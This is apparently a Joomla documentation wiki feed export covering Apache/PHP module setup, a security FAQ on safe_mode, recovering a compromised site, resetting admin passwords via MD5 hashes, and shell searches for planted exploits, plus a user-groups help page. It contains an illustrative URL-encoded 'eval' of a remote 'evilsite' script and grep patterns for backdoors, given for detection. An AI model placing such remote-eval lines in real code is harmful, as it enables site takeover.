&amp;amp;quot;LoadModule&amp;amp;quot; statements. (Statements prefixed by the hash &amp;amp;quot;#&amp;amp;quot; sign are&lt;br /&gt;
regarded as having been commented out.) If PHP is running in &amp;amp;quot;Apache&lt;br /&gt;
Module&amp;amp;quot; Mode you should see something very similar to the following;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module &amp;amp;quot;c:/php/php4apache.dll&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 1.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module     libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module     C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddModule mod_php4.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 2.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module     libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
LoadModule php4_module     C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php4.c    &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Don&#039;t worry that you can&#039;t find a &amp;amp;quot;mod_php4.c&amp;amp;quot; or &amp;amp;quot;mod_php5.c&amp;amp;quot; file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;If you&#039;re using Apache 2.x, you do not have to insert the AddModule directive. It&#039;s no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now find the &amp;amp;quot;AddType&amp;amp;quot; section in the file, and add the following line after the last &amp;amp;quot;AddType&amp;amp;quot; statement:&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you need to support other file types, like &amp;amp;quot;.php3&amp;amp;quot; and &amp;amp;quot;.phtml&amp;amp;quot;, simply add them to the list, like this:&amp;lt;&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run a syntax check and if all is ok, restart Apache...&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as a CGI binary&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure PHP to run as a CGI, again you will need to configure the&lt;br /&gt;
httpd.conf, but confirm that the above settings are not also&lt;br /&gt;
configured, unless you now what you are doing you can generate yourself&lt;br /&gt;
&amp;amp;quot;HTTP 500&amp;amp;quot; errors. Search your Apache configuration file for the&lt;br /&gt;
&amp;amp;quot;ScriptAlias&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Add the following line below after the ScriptAlias for &amp;amp;quot;cgi-bin&amp;amp;quot;. &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The location will depend on where PHP is installed on your system, you&lt;br /&gt;
should substitute the appropriate path in place of &amp;amp;quot;c:/php/&amp;amp;quot; (for&lt;br /&gt;
example, &amp;amp;quot;c:/Program Files/php/&amp;amp;quot;).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ScriptAlias /php/ &amp;amp;quot;c:/php/&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apache&lt;br /&gt;
again needs to be configured for the PHP MIME type. Search for the&lt;br /&gt;
&amp;amp;quot;AddType&amp;amp;quot; section, and add the following line after it:&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
As&lt;br /&gt;
in the case of running PHP as an Apache module, you can add whatever&lt;br /&gt;
extensions you want Apache to recognise as PHP scripts, such as:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
Next,&lt;br /&gt;
you will need to tell the server to execute the PHP executable each&lt;br /&gt;
time it encounters a PHP script. Add the following below any existing&lt;br /&gt;
entries in the &amp;amp;quot;Action&amp;amp;quot; section.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
Action application/x-httpd-php &amp;amp;quot;/php/php.exe&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
If&lt;br /&gt;
you notice, we have used the &amp;amp;quot;ScriptAlias&amp;amp;quot; reference, &amp;amp;quot;/php/&amp;amp;quot; portion&lt;br /&gt;
will be recognised as the scriptAlias configured above, this is sort a&lt;br /&gt;
path alias which will correlate to your PHP installation path&lt;br /&gt;
configured previously. &amp;lt;i&amp;gt;In other words, don&#039;t put &amp;amp;quot;c:/php/php.exe&amp;amp;quot;&lt;br /&gt;
or &amp;amp;quot;c:/Program Files/php/php.exe&amp;amp;quot; in that directive, put&lt;br /&gt;
&lt;br /&gt;
&amp;amp;quot;/php/php.exe&amp;amp;quot;, Apache WILL work it out if correctly configured.&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Configuring the Default Index Page&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
This section applies to all users, whether you are loading PHP as a module&lt;br /&gt;
or running it as a CGI binary, and has been seen often enough to&lt;br /&gt;
warrant a mention.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
If you want to make your PHP script execute&lt;br /&gt;
as the default page for a directory, you have to add another line to&lt;br /&gt;
the &amp;amp;quot;httpd.conf&amp;amp;quot;. Simply search for the line in the file that begins&lt;br /&gt;
with a &amp;amp;quot;DirectoryIndex&amp;amp;quot; and add &amp;amp;quot;index.php&amp;amp;quot; to the list of files on&lt;br /&gt;
that line. For example, if the line used to be:&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;change it to&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.html index.php&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you still wish .html files to be executed before .php files&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.php index.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you wish .php files to be executed before .html files&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
The next time you access the site or a directory within a site without a&lt;br /&gt;
filename, Apache will &amp;amp;quot;auto-magically&amp;amp;quot; deliver &amp;amp;quot;index.php&amp;amp;quot; if&lt;br /&gt;
available, or &amp;amp;quot;index.html&amp;amp;quot; if &amp;amp;quot;index.php&amp;amp;quot; is not available.&lt;br /&gt;
&lt;br /&gt;
== Why shouldn&#039;t I use PHP safe_mode? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.&lt;br /&gt;
&lt;br /&gt;
The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.&lt;br /&gt;
&lt;br /&gt;
Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;From the official PHP site&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&amp;quot;The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren&#039;t very realistic, many people, especially ISP&#039;s, use safe mode for now.&amp;quot;&#039;&#039; &lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]&lt;br /&gt;
&lt;br /&gt;
= Development =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How do I setup a secure demo site? ==&lt;br /&gt;
&lt;br /&gt;
In /includes/version.php look for:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 1;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 0;&lt;br /&gt;
&lt;br /&gt;
For a demo site it is advised to following:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 0;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 1;&lt;br /&gt;
&lt;br /&gt;
 $SITE = 0&lt;br /&gt;
 // Allows multiple user logins with only one account. By default Joomla! &lt;br /&gt;
 // allows only one active session per account as a security feature.&lt;br /&gt;
&lt;br /&gt;
 $RESTRICT = 1&lt;br /&gt;
 // Disables those logging in, both Front-end and Back-end from changing &lt;br /&gt;
 // user details - like password and username&lt;br /&gt;
&lt;br /&gt;
These settings are used on the official demo site http://demo.joomla.org&lt;br /&gt;
&lt;br /&gt;
You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.&lt;br /&gt;
&lt;br /&gt;
== How can I view a live site while developing, but hide it from others? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Login to the administrator section, and choose: Site &amp;gt; Global Configuration.&lt;br /&gt;
&lt;br /&gt;
2. The first option you&#039;ll see is is to set the site offline. Choose &amp;quot;Yes&amp;quot; and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;This site is down for maintenance. Please check back again soon. message instead.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
3. While you are logged into the &amp;quot;back end&amp;quot; administrator system, you can still view the &amp;quot;front end,&amp;quot; by choosing Site &amp;gt; Template &amp;gt; Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Site Recovery =&lt;br /&gt;
&lt;br /&gt;
== Help! My site&#039;s been compromised. Now what? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Change all relevant passwords:&#039;&#039;&#039; Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.&lt;br /&gt;
# &#039;&#039;&#039;Check raw logs:&#039;&#039;&#039; Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.&lt;br /&gt;
# &#039;&#039;&#039;List recently modified files:&#039;&#039;&#039; Before making any changes to your site, generate a list of recently modified files. Here&#039;s a php script that will list the files for you. Remove this script as soon as you have your list and don&#039;t publish a link to it!&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious newly-created files:&#039;&#039;&#039; Use this list to identify new files that don&#039;t belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious recently-modified files:&#039;&#039;&#039; Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Check for bogus CRON Jobs:&#039;&#039;&#039; Hacked cron jobs can be setup to reinfect your site over and over again.&lt;br /&gt;
# &#039;&#039;&#039;Coordinate with your host:&#039;&#039;&#039; If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.&lt;br /&gt;
# &#039;&#039;&#039;Delete the entire public_html directory:&#039;&#039;&#039; This is the best way to guarantee that every potential vulnerability in that site is removed.&lt;br /&gt;
# &#039;&#039;&#039;Delete related database records:&#039;&#039;&#039; This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.&lt;br /&gt;
# &#039;&#039;&#039;Reinstall everything:&#039;&#039;&#039; Use pre-crack backups. If you don&#039;t have good backups, go on to step 10.&lt;br /&gt;
# &#039;&#039;&#039;Reset critical passwords again:&#039;&#039;&#039; You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.&lt;br /&gt;
# &#039;&#039;&#039;Rebuild site:&#039;&#039;&#039; If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions&lt;br /&gt;
# &#039;&#039;&#039;Review security processes:&#039;&#039;&#039; Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.&lt;br /&gt;
# &#039;&#039;&#039;Review backup processes:&#039;&#039;&#039; If you don&#039;t already have one, add a dependable backup process to your site administration practices.&lt;br /&gt;
# &#039;&#039;&#039;Stay watchful:&#039;&#039;&#039; Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.&lt;br /&gt;
&lt;br /&gt;
==How do I reset an administrator password?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; This method is for Joomla versions up to and including 1.0.12. For later versions of Joomla and Joomla 1.5.xx versions please use this &#039;&#039;&#039;([[How_do_you_recover_your_admin_password%3F|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x&#039;&#039;&#039;&lt;br /&gt;
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .&lt;br /&gt;
&lt;br /&gt;
2. Open the correct database and select the table, jos_users . (Change default table prefix, &#039;jos_&#039; to your table prefix if it is different.)&lt;br /&gt;
&lt;br /&gt;
3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)&lt;br /&gt;
&lt;br /&gt;
4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.&lt;br /&gt;
&#039;&#039;&#039;Warning:&#039;&#039;&#039; You must paste the password&#039;s hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.&lt;br /&gt;
&lt;br /&gt;
 password = &amp;quot;MD5 hash of password&amp;quot;&lt;br /&gt;
 ------------------------------------------------------&lt;br /&gt;
 admin = 21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
 secret = 5ebe2294ecd0e0f08eab7690d2a6ee69&lt;br /&gt;
 OU812 = 7441de5382cf4fecbaa9a8c538e76783&lt;br /&gt;
&lt;br /&gt;
5. Save the user record.&lt;br /&gt;
&lt;br /&gt;
6. Point a browser to your site and log in using the Super Administrator account you just modified.&lt;br /&gt;
&lt;br /&gt;
7. &#039;&#039;&#039;IMPORTANT:&#039;&#039;&#039; Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will &#039;salt&#039; your new password, thus adding an additional level of security on top of the MD5 hash.&lt;br /&gt;
&lt;br /&gt;
Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating your own MD5 hash from a password of your choice&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you&#039;ve generated a hash with these tools.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Online MD5 hash creation tools&#039;&#039;&#039;&lt;br /&gt;
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/&lt;br /&gt;
* MD5er - http://www.md5er.com/&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Free MD5 utilities for download&#039;&#039;&#039;&lt;br /&gt;
* MD5 &amp;amp; Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp&lt;br /&gt;
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other MD5 tools&#039;&#039;&#039;&lt;br /&gt;
* There are many free online and downloadable MD5 utilities. Google &amp;quot;MD5 hash tool&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== How do I find exploits using the *NIX shell? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check the active processes&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;quot;ps&amp;quot; command to look for odd or unknown processes, if you aren&#039;t sure what to look for there, user &amp;quot;netstat -ae | grep irc&amp;quot; and/or &amp;quot;netstat -ea | grep 666&amp;quot; and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name &amp;quot;irc&amp;quot; listed against them, or may have &amp;quot;httpd&amp;quot; or sometimes other regular services names.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check crontab&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check for hidden files or directories&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check for hidden files or directories you dont expect to see, those starting with &amp;quot;.&amp;quot; (dots) and also look for &amp;quot;. &amp;quot; (dot, space) often favored to try and catch searches for hidden directories.&lt;br /&gt;
&lt;br /&gt;
Other examples of searches that may help pin down exploits and/or unexpected files and folders:&lt;br /&gt;
&lt;br /&gt;
 find /home -type f | xargs grep -l MultiViews&lt;br /&gt;
 find . -type f | xargs grep -l base64_encode &amp;lt;&amp;lt;&amp;lt; this can produce false positives, it is valid in many mail/graphics scripts&lt;br /&gt;
 find . -type f | xargs grep -l error_reporting&lt;br /&gt;
 find / -name &amp;quot;[Bb]itch[xX]&amp;quot;&lt;br /&gt;
 find / -name &amp;quot;psy*&amp;quot;&lt;br /&gt;
 ls -lR | grep rwxrwxrwx &amp;gt; listing.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What are these strange (URL-Encoded) characters doing in my code? ==&lt;br /&gt;
&lt;br /&gt;
Overview&lt;br /&gt;
&lt;br /&gt;
Attackers sometimes hide code away from prying eyes by URL Encoding it.&lt;br /&gt;
&lt;br /&gt;
The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.&lt;br /&gt;
&lt;br /&gt;
However, if you find odd, URL-encoded text in your site&#039;s files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.&lt;br /&gt;
&lt;br /&gt;
Here are some trivial, non-functioning examples of URL Encoded text:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Original&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;URL Encoded&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;this line has spaces&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;this%20line%20has%20spaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;eval(evil_script(http://www.evilsite/?evilscript.pl&amp;quot;));&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;%65val%28%65%76il_%73cri%70t&lt;br /&gt;
%28%68tt%70%3A//%77%77%77.&lt;br /&gt;
%65%76il%73ite/%3F%65%76il%73&lt;br /&gt;
cript.%70l%22%29%29%3B&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]&lt;br /&gt;
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=39784 rliskey]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security]]&lt;br /&gt;
[[Category:FAQ]]&lt;br /&gt;
[[Category:Security_FAQ]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Help17:Users_Groups_Edit&amp;diff=59937</id>
		<title>Help17:Users Groups Edit</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Help17:Users_Groups_Edit&amp;diff=59937"/>
		<updated>2011-06-27T00:36:12Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Description */ Minor grammar: can not -&amp;gt; cannot&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==How to access==&lt;br /&gt;
To edit an existing user group, navigate to the User Groups tab of the User Manager (Users &amp;amp;rarr; User Manager &amp;amp;rarr; User Groups). Then &lt;br /&gt;
# click on the name of the group or&lt;br /&gt;
# click on the check box for the group and click on the Edit button. &lt;br /&gt;
&lt;br /&gt;
To create a new user group, &lt;br /&gt;
# select Users &amp;amp;rarr; Groups &amp;amp;rarr; Add New Group from the menu or&lt;br /&gt;
# click on the New button in the User Manager: User Groups screen.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
User groups play a central role in what a user can do and see on the site. Creating user groups is normally the first step in setting up the security system for your site.&lt;br /&gt;
&lt;br /&gt;
User Groups control what actions a user can take on the site. Actions include things like creating a new article, changing options for a component, or logging in. The site administrator assigns permissions for various actions to each group. Permissions for actions can be assigned at different levels in the component hierarchy (Global Configuration, component options, categories, and articles). If a user does not have permission for a given action, the user cannot perform that action.&lt;br /&gt;
&lt;br /&gt;
User groups also control which objects a user can view on the site. Objects include categories, articles, modules, menu items, and others. When you create an access level, one or more user groups are assigned to it. Then, when you create an object (such as a menu item or module), the object is assigned an access level. If a user is a member of a group that is assigned to an access level, this user can view any object assigned to that access level. If not, then that user cannot view that object.&lt;br /&gt;
&lt;br /&gt;
User groups can be arranged in a hierarchy. If so, then all child groups inherit the action permissions and access levels of a parent group. If used wisely, this feature can save a lot of time setting up your security system, since it means that you don&#039;t have to enter duplicate setup information.&lt;br /&gt;
&lt;br /&gt;
In this screen, you can create a new user group or edit an existing user group.&lt;br /&gt;
&lt;br /&gt;
== Screenshot ==&lt;br /&gt;
[[Image:help16-users_groups_edit-screen.png]]&lt;br /&gt;
